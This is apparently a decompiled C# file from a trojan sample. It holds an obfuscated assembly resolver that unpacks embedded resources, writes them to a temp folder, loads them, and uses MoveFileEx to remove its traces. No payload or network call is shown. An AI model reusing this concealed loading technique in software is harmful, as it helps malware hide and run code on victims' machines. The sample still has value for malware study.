// Decompiled with JetBrains decompiler // Type: . // Assembly: Explorer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1133f7a8419a0062 // MVID: 9EBACA4B-5CC4-4E1D-BB8B-A34A1921D651 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Delf.cjha-09fdf048be5ee692c4b7f67dcd746d321697af807f132f1e395c35c2bc7d244c.exe using \u0002; using System; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Text; namespace \u0002 { internal class \u0002 { [DllImport("kernel32", EntryPoint = "MoveFileEx")] private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2); internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) { \u0002.\u0002.\u0001 obj = new \u0002.\u0002.\u0001(obj1.Name); string base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0003(false))); string[] strArray = \u0001.\u0001.\u0003(43002).Split(','); string name = string.Empty; bool flag1 = false; bool flag2 = false; bool flag3 = false; for (int index = 0; index < strArray.Length - 1; index += 2) { if (strArray[index] == base64String) { name = strArray[index + 1]; if (name[0] == '[') { int num = name.IndexOf(']'); string str = name.Substring(1, num - 1); flag1 = str.IndexOf('z') >= 0; flag2 = str.IndexOf('g') >= 0; flag3 = str.IndexOf('t') >= 0; name = name.Substring(num + 1); break; } break; } } if (name.Length > 0) { Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name); if (manifestResourceStream != null) { int length = (int) manifestResourceStream.Length; byte[] numArray = new byte[length]; manifestResourceStream.Read(numArray, 0, length); if (flag1) numArray = \u0002.\u0001.\u0003(numArray); if (flag2) { try { string path1 = string.Format(\u0001.\u0001.\u0003(43220), (object) Path.GetTempPath(), (object) name); Directory.CreateDirectory(path1); string path2 = path1 + obj.\u0001 + \u0001.\u0001.\u0003(43233); if (!File.Exists(path2)) { Assembly assembly = (Assembly) null; FileStream fileStream = File.OpenWrite(path2); fileStream.Write(numArray, 0, numArray.Length); fileStream.Close(); if (\u0003.\u0003(path2) == 0) assembly = Assembly.Load(obj.\u0003(true)); File.Delete(path2); Directory.Delete(path1); if ((object) assembly != null) return assembly; } } catch { } } Assembly assembly1 = (Assembly) null; if (!flag3) { try { assembly1 = Assembly.Load(numArray); } catch (FileLoadException ex) { flag3 = true; } catch (BadImageFormatException ex) { flag3 = true; } } if (flag3) { try { string path3 = string.Format(\u0001.\u0001.\u0003(43220), (object) Path.GetTempPath(), (object) name); Directory.CreateDirectory(path3); string path4 = path3 + obj.\u0001 + \u0001.\u0001.\u0003(43233); if (!File.Exists(path4)) { FileStream fileStream = File.OpenWrite(path4); fileStream.Write(numArray, 0, numArray.Length); fileStream.Close(); \u0002.\u0002.\u0003(path4, (string) null, 4); \u0002.\u0002.\u0003(path3, (string) null, 4); } assembly1 = Assembly.LoadFile(path4); } catch { } } return assembly1; } } return (Assembly) null; } internal struct \u0001 { public string \u0001; public Version \u0001; public string \u0002; public string \u0003; public string \u0003([In] bool obj0) { StringBuilder stringBuilder = new StringBuilder(); stringBuilder.Append(this.\u0001); if (obj0) { stringBuilder.Append(\u0001.\u0001.\u0003(43242)); stringBuilder.Append((object) this.\u0001); } stringBuilder.Append(\u0001.\u0001.\u0003(43259)); stringBuilder.Append(this.\u0002.Length == 0 ? \u0001.\u0001.\u0003(43276) : this.\u0002); stringBuilder.Append(\u0001.\u0001.\u0003(43289)); stringBuilder.Append(this.\u0003.Length == 0 ? \u0001.\u0001.\u0003(43314) : this.\u0003); return stringBuilder.ToString(); } public \u0001([In] string obj0) { this.\u0001 = new Version(); this.\u0002 = string.Empty; this.\u0003 = string.Empty; this.\u0001 = string.Empty; string str1 = obj0; char[] chArray = new char[1]{ ',' }; foreach (string str2 in str1.Split(chArray)) { string str3 = str2.Trim(); if (str3.StartsWith(\u0001.\u0001.\u0003(43323))) this.\u0001 = new Version(str3.Substring(8)); else if (str3.StartsWith(\u0001.\u0001.\u0003(43336))) { this.\u0002 = str3.Substring(8); if (this.\u0002 == \u0001.\u0001.\u0003(43276)) this.\u0002 = string.Empty; } else if (str3.StartsWith(\u0001.\u0001.\u0003(43349))) { this.\u0003 = str3.Substring(15); if (this.\u0003 == \u0001.\u0001.\u0003(43314)) this.\u0003 = string.Empty; } else this.\u0001 = str3; } } } } }